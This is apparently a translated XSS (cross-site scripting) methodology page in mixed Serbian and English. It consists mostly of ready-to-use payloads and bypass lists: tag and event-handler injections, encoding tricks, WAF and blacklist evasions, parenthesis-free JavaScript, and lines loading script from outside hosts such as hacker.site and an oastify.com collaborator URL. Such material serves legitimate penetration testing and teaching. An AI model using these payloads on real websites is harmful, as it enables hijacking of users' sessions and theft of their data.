.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
integer-overflow.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md |
XSS (Cross Site Scripting)
Ako vas zanima karijera u hakovanju i da hakujete nehakovano - zapošljavamo! (potrebno je tečno pisanje i govorenje poljskog).
{% embed url="https://www.stmcyber.com/careers" %}
Metodologija
- Proverite da li se bilo koja vrednost koju kontrolišete (parametri, putanja, zaglavlja?, kolačići?) odražava u HTML-u ili se koristi od strane JS koda.
- Pronađite kontekst gde se odražava/koristi.
- Ako je odražano
- Proverite koje simbole možete koristiti i u zavisnosti od toga, pripremite payload:
- U sirovom HTML-u:
- Možete li kreirati nove HTML tagove?
- Možete li koristiti događaje ili atribute koji podržavaju
javascript:
protokol? - Možete li zaobići zaštite?
- Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS engine-a (AngularJS, VueJS, Mavo...), mogli biste zloupotrebiti Client Side Template Injection.
- Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti Dangling Markup - HTML scriptless injection?
- Unutar HTML taga:
- Možete li izaći u kontekst sirovog HTML-a?
- Možete li kreirati nove događaje/atribute za izvršavanje JS koda?
- Da li atribut u kojem ste zarobljeni podržava izvršavanje JS-a?
- Možete li zaobići zaštite?
- Unutar JavaScript koda:
- Možete li pobjeći iz
<script>
taga? - Možete li pobjeći iz stringa i izvršiti različit JS kod?
- Da li su vaši unosi u template literalu ``?
- Možete li zaobići zaštite?
- Javascript funkcija koja se izvršava
- Možete naznačiti ime funkcije koju treba izvršiti. npr.:
?callback=alert(1)
- Ako je korisno:
- Mogli biste iskoristiti DOM XSS, obratite pažnju kako se vaš unos kontroliše i da li se vaš kontrolisani unos koristi od strane bilo kog sinka.
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Odražene vrednosti
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je vrednost koju kontrolišete koja se odražava na web stranici.
- Intermedijarno odraženo: Ako otkrijete da se vrednost parametra ili čak putanja odražava na web stranici, mogli biste iskoristiti Reflected XSS.
- Skladišteno i odraženo: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti Stored XSS.
- Pristupano putem JS: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti DOM XSS.
Konteksti
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je gde se vaš unos odražava. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
Sirovi HTML
Ako se vaš unos odražava na sirovom HTML stranici, moraćete da zloupotrebite neki HTML tag kako biste izvršili JS kod: <img , <iframe , <svg , <script
... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.
Takođe, imajte na umu Client Side Template Injection.
Unutar atributa HTML tagova
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
- Da pobegnete iz atributa i iz taga (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu:
"><img [...]
- Ako možete pobjeći iz atributa, ali ne i iz taga (
>
je kodiran ili obrisan), u zavisnosti od taga mogli biste kreirati događaj koji izvršava JS kod:" autofocus onfocus=alert(1) x="
- Ako ne možete pobjeći iz atributa (
"
je kodiran ili obrisan), onda u zavisnosti od koji atribut se vaša vrednost odražava ako kontrolišete celu vrednost ili samo deo moći ćete da zloupotrebite. Na primer, ako kontrolišete događaj kao što jeonclick=
, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv primer je atributhref
, gde možete koristitijavascript:
protokol za izvršavanje proizvoljnog koda:href="javascript:alert(1)"
- Ako se vaš unos odražava unutar "neiskoristivih tagova", mogli biste pokušati trik sa
accesskey
da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili):" accesskey="x" onclick="alert(1)" x="
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Inside JavaScript code
U ovom slučaju, vaš unos se odražava između <script> [...] </script>
oznaka HTML stranice, unutar .js
datoteke ili unutar atributa koristeći javascript:
protokol:
- Ako se odražava između
<script> [...] </script>
oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete</script>
i pobegnete iz ovog konteksta. Ovo funkcioniše jer pregledač prvo analizira HTML oznake a zatim sadržaj, stoga neće primetiti da je vaša injektovana</script>
oznaka unutar HTML koda. - Ako se odražava unutar JS stringa i poslednji trik ne funkcioniše, potrebno je da izađete iz stringa, izvršite vaš kod i rekonstruišete JS kod (ako dođe do greške, neće biti izvršen):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Ako se odražava unutar template literals, možete ugraditi JS izraze koristeći
${ ... }
sintaksu:var greetings = `Hello, ${alert(1)}`
- Unicode kodiranje funkcioniše za pisanje validnog javascript koda:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting se odnosi na mogućnost da deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete zloupotrebiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.
Pogledajte sledeću stranicu za više informacija:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Javascript Funkcija
Nekoliko web stranica ima krajnje tačke koje prihvataju kao parametar ime funkcije koja treba da se izvrši. Uobičajen primer koji se može videti u praksi je nešto poput: ?callback=callbackFunc
.
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je modifikovanje vrednosti parametra (na primer na 'Vulnerable') i gledanje u konzoli za greške poput:
U slučaju da je ranjivo, mogli biste da pokrenete alert jednostavno slanjem vrednosti: ?callback=alert(1)
. Međutim, veoma je uobičajeno da će ove krajnje tačke validirati sadržaj kako bi dozvolile samo slova, brojeve, tačke i donje crte ([\w\._]
).
Međutim, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da pristupite bilo kojem elementu u DOM-u:
Neke korisne funkcije za ovo:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Možete takođe pokušati da pokrenete Javascript funkcije direktno: obj.sales.delOrders
.
Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, druge stranice u istom poreklu će imati zanimljiviji DOM za izvođenje više akcija.
Stoga, kako bi se zloupotrebila ova ranjivost u različitom DOM-u, razvijena je Same Origin Method Execution (SOME) eksploatacija:
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Postoji JS kod koji nesigurno koristi neke podatke koje kontroliše napadač kao što je location.href
. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Univerzalni XSS
Ove vrste XSS mogu se naći svuda. Ne zavise samo od klijentske eksploatacije web aplikacije, već od bilo kog konteksta. Ove vrste proizvoljnog izvršavanja JavaScript-a mogu čak biti zloupotrebljene za dobijanje RCE, čitanje proizvoljnih datoteka na klijentima i serverima, i još mnogo toga.
Neki primeri:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAF zaobilaženje kodiranja slike
Umetanje unutar sirovog HTML-a
Kada se vaš unos odražava unutar HTML stranice ili možete da pobegnete i umetnete HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite <
da kreirate nove oznake: Samo pokušajte da odrazite taj karakter i proverite da li je HTML kodiran ili izbrisan ili ako je odražen bez promena. Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj.
Za ove slučajeve takođe imajte na umu Client Side Template Injection.
Napomena: HTML komentar se može zatvoriti koristeći****** -->
ili ****--!>
**
U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da napravite brute-force koji tagovi možete kreirati.
Kada locirate koji tagovi su dozvoljeni, moraćete da napravite brute-force atribute/događaje unutar pronađenih validnih tagova da vidite kako možete napasti kontekst.
Brute-force tagova/događaja
Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Kopiraj tagove u međuspremnik. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete napraviti brute-force sve događaje koristeći validne tagove (na istoj web stranici kliknite na Kopiraj događaje u međuspremnik i pratite istu proceduru kao pre).
Prilagođeni tagovi
Ako niste pronašli nijedan validan HTML tag, možete pokušati da napravite prilagođeni tag i izvršite JS kod sa onfocus
atributom. U XSS zahtevu, morate završiti URL sa #
da biste naterali stranicu da fokusira na taj objekat i izvrši kod:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim glupim trikovima:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
{% hint style="info" %} Više malih XSS za različita okruženja payload može se naći ovde i ovde. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
If in order to exploit the vulnerability you need the korisnik to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
Impossible - Dangling Markup
If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stil događaja
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Unutar atributa
Čak i ako ne možete da pobegnete iz atributa ("
se kodira ili briše), u zavisnosti od tog atributa u kojem se vaša vrednost odražava ako kontrolišete celu vrednost ili samo deo moći ćete da je zloupotrebite. Na primer, ako kontrolišete događaj kao što je onclick=
, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.
Još jedan zanimljiv primer je atribut href
, gde možete koristiti javascript:
protokol za izvršavanje proizvoljnog koda: href="javascript:alert(1)"
Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje
HTML kodirani karakteri unutar vrednosti atributa HTML oznaka se dekodiraju u vreme izvršavanja. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Vrati se </a>
Napomena da je svaka vrsta HTML kodiranja validna:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Napomena da će URL kodiranje takođe raditi:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Zaobilaženje unutrašnjeg događaja korišćenjem Unicode kodiranja
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Posebni protokoli unutar atributa
Tamo možete koristiti protokole javascript:
ili data:
na nekim mestima da izvršite proizvoljan JS kod. Neki će zahtevati interakciju korisnika, a neki neće.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Mesta gde možete ubrizgati ove protokole
Uopšteno javascript:
protokol se može koristiti u bilo kojoj oznaci koja prihvata atribut href
i u većini oznaka koje prihvataju atribut src
(ali ne <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Ostali trikovi obfuskacije
U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog odeljka su takođe validni jer ste unutar atributa.
<a href="javascript:var a=''-alert(1)-''">
Pored toga, postoji još jedan lepi trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:...
URL kodiran, biće URL dekodiran pre nego što se izvrši. Dakle, ako treba da izbegnete iz niza koristeći jednostruki navodnik i vidite da je URL kodiran, zapamtite da nije važno, biće tumačeno kao jednostruki navodnik tokom vremena izvršenja.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Napomena da ako pokušate da koristite oba URLencode + HTMLencode
u bilo kom redosledu da kodirate payload to neće raditi, ali možete mešati ih unutar payload-a.
Korišćenje Hex i Octal kodiranja sa javascript:
Možete koristiti Hex i Octal kodiranje unutar src
atributa iframe
(barem) da deklarisate HTML tagove za izvršavanje JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Obrnuto nabbing taba
<a target="_blank" rel="opener"
Ako možete da ubacite bilo koju URL adresu u proizvoljnom <a href=
tagu koji sadrži target="_blank" i rel="opener"
atribute, proverite sledeću stranicu da iskoristite ovo ponašanje:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
o zaobilaženju Event Handlers
Prvo proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" event handlers.
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete probati sledeće zaobilaženja:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonički, meta)
Iz ovde sada je moguće zloupotrebiti skrivene unose sa:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
I u meta tagovima:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Sa ovde: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da možete uveriti žrtvu da pritisne kombinaciju tastera. Na Firefox Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload će biti nešto poput ovoga: " accesskey="x" onclick="alert(1)" x="
Obilaženje crne liste
Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar ove sekcije. Vratite se da naučite gde možete koristiti:
- HTML kodiranje (HTML tagovi)
- Unicode kodiranje (može biti validan JS kod):
\u0061lert(1)
- URL kodiranje
- Hex i Oktalno kodiranje
- data kodiranje
Obilaženje za HTML tagove i atribute
Pročitajte Obilaženje crne liste iz prethodne sekcije.
Obilaženje za JavaScript kod
Pročitajte crnu listu obilaženja JavaScript-a iz sledeće sekcije.
CSS-Gadgets
Ako ste pronašli XSS u veoma malom delu veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati da modifikujete prostor koji taj element zauzima kako biste povećali verovatnoću da se link aktivira.
Na primer, mogli biste dodati neki stil u element kao što je: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Sada možete modifikovati naš link i dovesti ga u oblik
<a href="" id=someid class=test onclick=alert() a="">
Ovaj trik je preuzet sa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Umetanje unutar JavaScript koda
U ovim slučajevima vaša ulazna vrednost će biti reflektovana unutar JS koda .js
fajla ili između <script>...</script>
tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju javascript:
protokol.
Izbegavanje <script> taga
Ako je vaš kod umetnut unutar <script> [...] var input = 'reflektovani podaci' [...] </script>
lako možete izbeći zatvaranje <script>
taga:
</script><img src=1 onerror=alert(document.domain)>
Napomena da u ovom primeru nismo ni zatvorili jednostruki navodnik. To je zato što HTML parsiranje prvo vrši pregledač, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
Unutar JS koda
Ako se <>
sanitizuju, još uvek možete izbeći string gde se vaš unos nalazi i izvršiti proizvoljni JS. Važno je ispraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Template literals ``
Da biste konstruisali stringove pored jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``
. Ovo je poznato kao template literals jer omogućava ugrađivanje JS izraza koristeći ${ ... }
sintaksu.
Stoga, ako primetite da se vaš unos reflektuje unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... }
da izvršite arbitrarni JS kod:
Ovo se može zloupotrebiti koristeći:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Izvršavanje kodova u kodiranom obliku
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode Encode JS izvršavanje
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Tehnike za zaobilaženje crnih lista u JavaScript-u
Stringovi
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Specijalni begovi
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Zamene razmaka unutar JS koda
<TAB>
/**/
JavaScript komentari (iz JavaScript komentari trika)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript novi redovi (iz JavaScript novog reda trika)
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript razmaci
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript unutar komentara
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez zagrada
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Arbitrarni poziv funkcije (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
